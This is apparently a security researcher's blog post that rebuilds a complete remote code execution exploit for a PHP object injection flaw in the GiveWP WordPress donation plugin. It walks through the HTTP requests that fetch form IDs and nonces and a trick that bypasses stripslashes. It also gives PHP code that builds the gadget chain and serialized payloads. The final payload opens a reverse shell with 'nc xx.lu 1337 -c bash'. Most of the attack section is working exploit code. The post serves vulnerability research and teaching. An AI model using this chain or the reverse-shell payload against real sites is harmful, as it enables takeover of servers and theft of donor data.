A few days ago, Wordfence published a blog post about a PHP Object Injection vulnerability affecting the popular WordPress Plugin GiveWP in all versions <= 3.14.1. Since the blog post contains only information about (a part) of the POP chain used, I decided to take a look and build a fully functional Remote Code Execution exploit. This post describes how I approached the process, identifying the missing parts and building the entire POP chain. Props to @villu164, who initially discovered the vulnerability and the chain.

While the Wordfence blog post provides some insights into the root cause of the vulnerability and a brief description of the POP chain, it misses out (deliberately, I assume) on some key points. I’m skipping the entire process of installing and setting up WordPress and setting up the debug environment using VScode here and getting straight to the details. The only prerequisite for successfully exploiting the bug (despite the old version of the plugin) is that GiveWP must be enabled and configured with at least one donation form.

The Entry Point

The vulnerable code path can be triggered using the give_process_donation ajax action. One thing that immediately stood out when analyzing the corresponding give_process_donation_form method is that there is some sort of nonce verification on line 38 in includes/process-donation.php:

function give_process_donation_form() {

	// Sanitize Posted Data.
	$post_data = give_clean( $_POST ); // WPCS: input var ok, CSRF ok.

	// Check whether the form submitted via AJAX or not.
	$is_ajax = isset( $post_data['give_ajax'] );

	// Verify donation form nonce.
	if ( ! give_verify_donation_form_nonce( $post_data['give-form-hash'], $post_data['give-form-id'] ) ) {
		if ( $is_ajax ) {
			/**
			 * Fires when AJAX sends back errors from the donation form.
			 *
			 * @since 1.0
			 */
			do_action( 'give_ajax_donation_errors' );
			give_die();
		} else {
			give_send_back_to_checkout();
		}
	}

Apparently, we need the form ID of a donation form and its nonce. Unless a misconfiguration causes the NONCE_KEY  and NONCE_SALT equal to some known public values, the nonce cannot be calculated on the client side—read this article about why.

Getting the Donation Form ID

Luckily for us, GiveWP provides us with the ajax action give_form_search which can be called without any other arguments to get the IDs of all available donation forms:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.178.100:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 23
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0

action=give_form_search

This returns the IDs as an array:

Getting the Target Form’s Nonce

As mentioned earlier, WordPress nonces cannot be easily calculated on the client side. But we’re lucky again. GiveWP provides us with another ajax action called give_donation_form_nonce to get us the nonce of a given donation form. So you can give the previously discovered form ID using the give_form_id parameter:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.178.100:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 47
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0

action=give_donation_form_nonce&give_form_id=11

and you’ll get the nonce back:

Triggering the Vulnerable Code Path

The vulnerable code path can be triggered using the give_process_donation ajax action while giving the form ID and its nonce. An exemplary request looks like the following:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.178.100:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 653
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0

action=give_process_donation&give-form-hash=cc27fec673&give-form-id=11&[email protected]&give_first=a&give-amount=10&give-gateway=manual&give_stripe_payment_method=&give_last=b&give_title=to_be_unserialized

When triggering this request, you’ll notice that the value of the give_title parameter gets stored in the wp_give_donormeta table:

That _give_donor_title_prefix key is later unserialized, as described in Wordfence’s blog post using the Give()->donor_meta->get_meta() method.

Bypassing stripslashes_deep

One thing that does not immediately stand out but will get important later is the usage of stripslashes_deep during the validation of the $user_info array, which contains the vulnerable user_title attribute:

	// Setup donation information.
	$donation_data = [
		'price'        => $price,
		'purchase_key' => $purchase_key,
		'user_email'   => $user['user_email'],
		'date'         => date( 'Y-m-d H:i:s', current_time( 'timestamp' ) ),
		'user_info'    => stripslashes_deep( $user_info ),
		'post_data'    => $post_data,
		'gateway'      => $valid_data['gateway'],
		'card_info'    => $valid_data['cc_info'],
	];

Why is that important? PHP object injection exploits usually reference class names using their namespaces, which might contain slashes. stripslashes_deep tries to get rid of these by calling stripslashes on every value. However, this can be easily bypassed by using four slashes (\\\\) in namespace names.

Rebuilding the Beautiful POP Chain:

The Wordfence post provides a broad but good description of the chain to construct a PoC out of it. Let’s split that chain up into multiple parts:

(source)

Recreating the Chain in Plain PHP

The following PHP script constructs an object for steps one to four. You’ll learn in a bit that part 5 is missing:

<?php

namespace Stripe {    
    class StripeObject {
        public $_values = [];
    }
}

namespace Give\PaymentGateways\DataTransferObjects {
    class GiveInsertPaymentData {
        public $userInfo = [];
    }
}

namespace Give\Vendors\Faker {
    class ValidGenerator {
        public $validator = "shell_exec";
        public $maxRetries = 2;
        public $generator = "";
    }
}

namespace  {
    class Give {
        public $container = "1337";
    }

    use Stripe\StripeObject;
    use Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData;
    use Give\Vendors\Faker\ValidGenerator;
    
    # Part 1
    $stripeObject = new StripeObject();

    # Part 2
    $giveInsertPaymentData = new GiveInsertPaymentData();
    $stripeObject->_values['rcesec'] = $giveInsertPaymentData;

    # Part 3 
    $giveObject = new Give();
    $giveInsertPaymentData->userInfo = ["address" => $giveObject];

    # Part 4
    $validGenerator = new ValidGenerator();
    $giveObject->container = $validGenerator;

    # Serialize and bypass stripslashes_deep()
    $serializedData = serialize($stripeObject);
    echo str_replace("\\", "\\\\\\\\", $serializedData);
}

Testing the First (Incomplete) Version

The above script will get you a serialized object like the following:

O:19:"Stripe\\\\StripeObject":1:{s:7:"_values";a:1:{s:6:"rcesec";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:9:"container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:9:"validator";s:10:"shell_exec";s:10:"maxRetries";i:2;s:9:"generator";s:0:"";}}}}}}

When using this with the request from step 3 and setting a breakpoint on the call_user_func_array call in vendor/vendor-prefixed/fakerphp/faker/src/Faker/Validgenerator.php you’ll notice that there is a small piece missing:

Before we’re able to reach the final code execution via call_user_func on line 80 (our $this->validator property is correctly set to shell_exec), we need to somehow make the call_user_func_array call on line 74 return whatever we want as an argument to the shell_exec call. While we do control the $this->generator property, we do NOT control the $name variable, which is set to get.

To solve this little puzzle, we need to find a class that implements the get method and that, at the same time, returns a user-controllable string via the $name property. That $name property can then be set to whatever argument we want for the shell_exec call.

Finding a Gadget to Complete the Chain

While searching for a fitting gadget, I immediately stumbled over the Give\Onboarding\SettingsRepository class:

class SettingsRepository
{

    /** @var array */
    protected $settings;

    /** @var callable */
    protected $persistCallback;

    /**
     * @since 2.8.0
     *
     * @param callable $persistCallback
     *
     * @param array    $settings
     */
    public function __construct(array $settings, callable $persistCallback)
    {
        $this->settings = $settings;
        $this->persistCallback = $persistCallback;
    }

    /**
     * @since 2.8.0
     *
     * @param string $name The setting name.
     *
     * @return mixed The setting value.
     *
     */
    public function get($name)
    {
        return ($this->has($name))
            ? $this->settings[$name]
            : null;
    }

[...]

It provides a get method that is supposed to return an element specified by $name from the $this->settings property, and that property is fully user-controllable!

Connecting the Dots

The last thing we have to do is set the $this->generator property to an instance of the SettingsRepository class and make sure that the address1 element of the $settings array is set to our argument for the shell_exec call:

[...]
namespace Give\Onboarding {
    class SettingsRepository {
        public $settings = ["address1" => "nc xx.lu 1337 -c bash"];
    }
}

[...]
$validGenerator->generator = new SettingsRepository();
[...]

This will get you a serialized object like the following:

O:19:"Stripe\\\\StripeObject":1:{s:7:"_values";a:1:{s:6:"rcesec";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:9:"container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:9:"validator";s:10:"shell_exec";s:10:"maxRetries";i:2;s:9:"generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:8:"settings";a:1:{s:8:"address1";s:21:"nc xx.lu 1337 -c bash";}}}}}}}}

This now results in the generator property being set to an instance of Give\Onboarding\SettingsRepository:

When the call_user_func_array call is processed, it’ll look up the address1 element as described earlier and return that to the $res variable, which is used as an argument for the final call_user_func call:

This finally triggers your funky reverse shell: